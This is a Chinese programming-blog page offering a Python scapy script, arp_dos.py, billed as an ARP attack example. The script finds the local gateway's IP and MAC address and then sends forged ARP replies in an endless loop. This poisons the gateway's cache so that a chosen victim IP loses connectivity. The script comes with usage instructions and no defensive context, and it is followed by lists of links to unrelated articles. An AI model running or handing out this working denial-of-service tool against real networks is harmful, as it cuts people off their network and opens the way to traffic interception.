python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python查找指定具有相同内容文件的方法
Jun 28 Python
Django查找网站项目根目录和对正则表达式的支持
Jul 15 Python
Python自动化部署工具Fabric的简单上手指南
Apr 19 Python
名片管理系统python版
Jan 11 Python
基于python OpenCV实现动态人脸检测
May 25 Python
python 基本数据类型占用内存空间大小的实例
Jun 12 Python
win10下python3.5.2和tensorflow安装环境搭建教程
Sep 19 Python
基于django ManyToMany 使用的注意事项详解
Aug 09 Python
如何理解python对象
Jun 21 Python
详解python polyscope库的安装和例程
Nov 13 Python
Python中OpenCV实现查找轮廓的实例
Jun 08 Python
利用Python第三方库实现预测NBA比赛结果
Jun 21 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
php miniBB中文乱码问题解决方法
2008/11/25 PHP
深入PHP中慎用双等于(==)的详解
2013/06/06 PHP
163的邮件用phpmailer发送(实例详解)
2013/06/24 PHP
分割GBK中文遭遇乱码的解决方法
2013/08/09 PHP
yii2中结合gridview如何使用modal弹窗实例代码详解
2016/06/12 PHP
PHP 7.4 新语法之箭头函数实例详解
2019/05/09 PHP
用js遍历 table的脚本
2008/07/23 Javascript
js解析与序列化json数据(二)序列化探讨
2013/02/01 Javascript
使用简洁的jQuery方法实现隔行换色功能
2014/01/02 Javascript
原生js实现图片层叠轮播切换效果
2016/02/02 Javascript
JS实现输入框提示文字点击时消失效果
2016/07/19 Javascript
javascript回到顶部特效
2016/07/30 Javascript
JS常见简单正则表达式验证功能小结【手机,地址,企业税号,金额,身份证等】
2017/01/22 Javascript
JSONP基础知识详解
2017/03/19 Javascript
微信小程序 rich-text的使用方法
2017/08/04 Javascript
vue点击input弹出带搜索键盘并监听该元素的方法
2018/08/25 Javascript
es6数值的扩展方法
2019/03/11 Javascript
基于JS+HTML实现弹窗提示是否确认提交功能
2020/06/17 Javascript
解决在Vue中使用axios POST请求变成OPTIONS的问题
2020/08/14 Javascript
JS实现可以用键盘方向键控制的动画
2020/12/11 Javascript
python实现文件分组复制到不同目录的例子
2014/06/04 Python
Python中使用装饰器和元编程实现结构体类实例
2015/01/28 Python
进一步探究Python中的正则表达式
2015/04/28 Python
python简单猜数游戏实例
2015/07/09 Python
python实现k-means聚类算法
2018/02/23 Python
Python实现两个list求交集,并集,差集的方法示例
2018/08/02 Python
Python3 使用cookiejar管理cookie的方法
2018/12/28 Python
Python变量访问权限控制详解
2019/06/29 Python
在pytorch中对非叶节点的变量计算梯度实例
2020/01/10 Python
matplotlib交互式数据光标mpldatacursor的实现
2021/02/03 Python
李宁官方网店:中国运动品牌
2017/11/02 全球购物
日语翻译个人求职的自我评价
2013/10/14 职场文书
师范学院美术系毕业生自我鉴定
2014/01/29 职场文书
2015年班级元旦晚会活动总结
2014/11/28 职场文书
2015年女工委工作总结
2015/07/27 职场文书
2016中学教师读书心得体会
2016/01/13 职场文书